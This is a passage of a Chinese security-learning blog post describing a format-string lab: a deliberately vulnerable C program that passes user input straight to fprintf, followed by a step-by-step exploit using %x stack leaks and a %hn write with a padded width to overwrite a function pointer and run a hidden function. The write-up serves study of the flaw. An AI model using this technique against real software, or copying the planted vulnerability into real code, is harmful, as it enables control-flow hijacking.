class="type">unsigned</span> <span class="type">long</span>)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">GhastlyError</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Unrecoverable error! - err = %d\n"</span>, err);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//This is, in general, a bad practice.</span></span><br><span class="line"> <span class="comment">//Exits buried deep in the X Window libraries once cost</span></span><br><span class="line"> <span class="comment">//me over a week of debugging effort.</span></span><br><span class="line"> <span class="comment">//All application exits should occur in main, ideally in one place.</span></span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">foo</span><span class="params">()</span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"I've been hacked!!!"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">RecoverableError</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Something went wrong, but you can fix it - err = %d\n"</span>, err);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">PrintMessage</span><span class="params">(<span class="type">char</span>* file, <span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> ErrFunc fErrFunc;</span><br><span class="line"> <span class="type">char</span> buf[<span class="number">512</span>];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(err == <span class="number">5</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">//access denied</span></span><br><span class="line"> fErrFunc = GhastlyError;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> fErrFunc = RecoverableError;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> _snprintf(buf, <span class="keyword">sizeof</span>(buf)<span class="number">-1</span>, <span class="string">"Can'tFind%s"</span>, file);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//just to show you what is in the buffer</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s"</span>, buf);</span><br><span class="line"> <span class="comment">//just in case your compiler changes things on you</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\nAddress of fErrFunc is %p\n"</span>, &fErrFunc);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Here's where the damage is done!</span></span><br><span class="line"> <span class="comment">//Don't do this in your code.</span></span><br><span class="line"> <span class="comment">//__asm int 3</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stdout</span>, buf);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\nCalling ErrFunc %p\n"</span>, fErrFunc);</span><br><span class="line"> fErrFunc(err);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span></span><br><span class="line">{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">int</span> iTmp = <span class="number">100</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%.300x%hn"</span>,<span class="number">11</span>, &iTmp);</span><br><span class="line"> FILE* pFile;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//a little cheating to make the example easy</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Address of foo is %p\n"</span>, foo);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//this will only open existing files</span></span><br><span class="line"> pFile = fopen(argv[<span class="number">1</span>], <span class="string">"r"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(pFile == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">//PrintMessage(argv[1], errno);</span></span><br><span class="line"> PrintMessage(argv[<span class="number">1</span>], errno);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Opened %s\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line"> fclose(pFile);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>源代码包含多个函数:其中<code>foo()</code>是需要执行的隐藏函数,其他函数为错误处理函数,下面重点分析<code>main()</code>函数</p>
<ul>
<li><p><code>main()</code>函数会输出一些栈的信息,包括<code>foo()</code>函数的地址</p>
</li>
<li><p>判断文件是否存在</p>
<ul>
<li>如果存在,则提示文件已经打开</li>
<li>如果不存在,调用<code>PrintMessgae()</code>输出错误信息<ul>
<li><code>err=5</code>,调用<code>GhastlyError()</code>提示错误不可修复</li>
<li><code>err≠5</code>,调用<code>RecoverableError()</code>提示错误可修复</li>
<li>输出其它错误信息</li>
</ul>
</li>
</ul>
</li>
<li><p><code>main()</code>函数的整体结构如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923636510.png" alt="1565923636510"></p>
</li>
</ul>
</li>
<li><p>分析:若想调用<code>foo</code>函数,可以通过<code>%n</code>把<code>fErrFunc</code>函数指针的地址改为<code>foo</code>函数的地址。命令行参数为<code>%x%x…%x%x%n+fErrFunc函数指针的地址</code>。<code>Buf</code>为<code>Can’tfind%x%x…%x%x%n+fErrFunc函数指针的地址</code>,由于<code>fprinf</code>中缺少参数,所以已打出的字符总数通过<code>%n</code>被写入<code>fErrFunc</code>函数指针的地址。通过控制<code>%x</code>调整字符总数以达到目的。</p>
</li>
<li><p>尝试传递一串参数 <code>%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x</code>得到,<code>fErrFunc</code>地址是<code>0x0012FF18</code>,目标函数<code>foo</code>函数地址为<code>0x00401014</code>,所以只要把<code>0x0012ff18</code>内存储的<code>0x00401005</code>更改为<code>0x00401014</code>即可</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923737593.png" alt="1565923737593"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923745441.png" alt="1565923745441"></p>
</li>
<li><p>在参数<code>%x</code>后输入字符串<code>bupt</code>,得到结果如下,与上述相比多了字符串<code>bupt</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923770857.png" alt="1565923770857"></p>
</li>
<li><p>需要把<code>0x0012ff18</code>放在一个可写位置,在前面加上<code>. . . . . . .</code>来调整<code>%x</code>输出的内容,结果如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923807357.png" alt="1565923807357"></p>
</li>
<li><p><code>%p</code>改成<code>%hn</code>,减少一个<code>.</code>,后面加上<code>fErrFunc</code>的地址<code>\x18\xFF\x12</code>,可以看到<code>ErrcFunc</code>已被更改为<code>0x0040017E</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923848164.png" alt="1565923848164"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923855140.png" alt="1565923855140"></p>
</li>
<li><p><code>0x0040017E</code>与<code>0x00401014</code>相差<code>3734</code>个字节,第一个<code>%x</code>打印了<code>6</code>个字节,删掉的四个 <code>.</code> 相当于少打印了<code>4</code>个字节,所以要把这<code>10</code>个字节加回去。所以参数里加上<code>%3744x</code>。更改参数后程序成功执行<code>foo</code>函数,显示<code>I’ve been hacked!!!</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923921328.png" alt="1565923921328"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923927212.png" alt="1565923927212"></p>
</li>
</ol>
</div>
<div>
<ul class="post-copyright">
<li class="post-copyright-author">
<strong>本文作者: </strong>李钰璕
</li>
<li class="post-copyright-link">
<strong>本文链接:</strong>
<a href="https://leeyuxun.github.io/%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA%E5%AE%9E%E9%AA%8C.html" title="格式化输出实验">https://leeyuxun.github.io/格式化输出实验.html</a>
</li>
<li class="post-copyright-license">
<strong>版权声明: </strong>本博客所有文章除特别声明外,均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-cn" rel="noopener" target="_blank"><i class="fab fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处!
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA/" rel="tag"><i class="fa fa-tag"></i> 格式化输出</a>
</div>
<div class="post-nav">
<div class="post-nav-item">
<a href="/SQL%E6%B3%A8%E5%85%A5%E5%AE%9E%E9%AA%8C.html" rel="prev" title="SQL注入实验">
<i class="fa fa-chevron-left"></i> SQL注入实验
</a></div>
<div class="post-nav-item">
<a href="/Hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2%E5%B9%B6%E9%83%A8%E7%BD%B2%E5%88%B0github%E4%B8%8A.html" rel="next" title="Hexo搭建博客并部署到github上">
Hexo搭建博客并部署到github上 <i class="fa fa-chevron-right"></i>
</a></div>
</div>
</footer>
</article>
</div>
<script>
window.addEventListener('tabs:register', () => {
let { activeClass } = CONFIG.comments;
if (CONFIG.comments.storage) {
activeClass = localStorage.getItem('comments_active') || activeClass;
}
if (activeClass) {
let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
if (activeTab) {
activeTab.click();
}
}
});
if (CONFIG.comments.storage) {
window.addEventListener('tabs:click', event => {
if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
let commentClass = event.target.classList[1];
localStorage.setItem('comments_active', commentClass);
});
}
</script>
</div>
<div class="toggle sidebar-toggle">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
<aside class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc">
文章目录
</li>
<li class="sidebar-nav-overview">
站点概览
</li>
</ul>
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
<div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%AE%9E%E9%AA%8C%E7%9B%AE%E7%9A%84"><span class="nav-number">1.</span> <span class="nav-text">实验目的</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E9%80%9A%E8%BF%87-x%E6%9D%A5%E6%9F%A5%E7%9C%8B%E6%A0%88%E5%86%85%E5%AE%B9"><span class="nav-number">2.</span> <span class="nav-text">通过%x来查看栈内容</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E9%80%9A%E8%BF%87-s%E6%9F%A5%E7%9C%8B%E6%8C%87%E5%AE%9A%E5%9C%B0%E5%9D%80%E5%86%85%E5%AE%B9"><span class="nav-number">3.</span> <span class="nav-text">通过%s查看指定地址内容</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%AF%B9sprintf%E5%87%BD%E6%95%B0%E5%8F%8Ashellcode%E5%81%9A%E8%A7%A3%E9%87%8A%E5%88%86%E6%9E%90"><span class="nav-number">4.</span> <span class="nav-text">对sprintf函数及shellcode做解释分析</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%89%A7%E8%A1%8Cshellcode"><span class="nav-number">5.</span> <span class="nav-text">缓冲区溢出执行shellcode</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E6%B5%8B%E8%AF%95%E7%BB%93%E8%AE%BA"><span class="nav-number">6.</span> <span class="nav-text">测试结论</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E6%80%9D%E8%80%83%E9%A2%98"><span class="nav-number">7.</span> <span class="nav-text">思考题</span></a></li></ol></div>
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" alt="李钰璕"
src="/images/avatar.png">
<p class="site-author-name" itemprop="name">李钰璕</p>
<div class="site-description" itemprop="description">安全学习笔记</div>
</div>
<div class="site-state-wrap motion-element">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">89</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">17</span>
<span class="site-state-item-name">分类</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">115</span>
<span class="site-state-item-name">标签</span></a>
</div>
</nav>
</div>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Leeyuxun" title="GitHub → https://github.com/Leeyuxun" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i></a>
</span>
<span class="links-of-author-item">
<a href="mailto:leeyuxun@163.com" title="E-Mail → mailto:leeyuxun@163.com" rel="noopener" target="_blank"><i class="fa fa-envelope fa-fw"></i></a>
</span>
</div>
</div>
<div class="back-to-top motion-element">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
</div>
</aside>
<div id="sidebar-dimmer"></div>
</div>
</main>
<footer class="footer">
<div class="footer-inner">
<!--
<div class="copyright">
©
<span itemprop="copyrightYear">2023</span>
<span class="with-love">
<i class="fa fa-heart"></i>
</span>
<span class="author" itemprop="copyrightHolder">李钰璕</span>
</div>
-->
<div class="busuanzi-count">
<script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
</div>
</div>
</footer>
</div>
<script src="/lib/anime.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/pangu@4/dist/browser/pangu.min.js"></script>
<script src="/lib/velocity/velocity.min.js"></script>
<script src="/lib/velocity/velocity.ui.min.js"></script>
<script src="/js/utils.js"></script>
<script src="/js/motion.js"></script>
<script src="/js/schemes/pisces.js"></script>
<script src="/js/next-boot.js"></script>
<script src="/js/local-search.js"></script>
</body>
</html>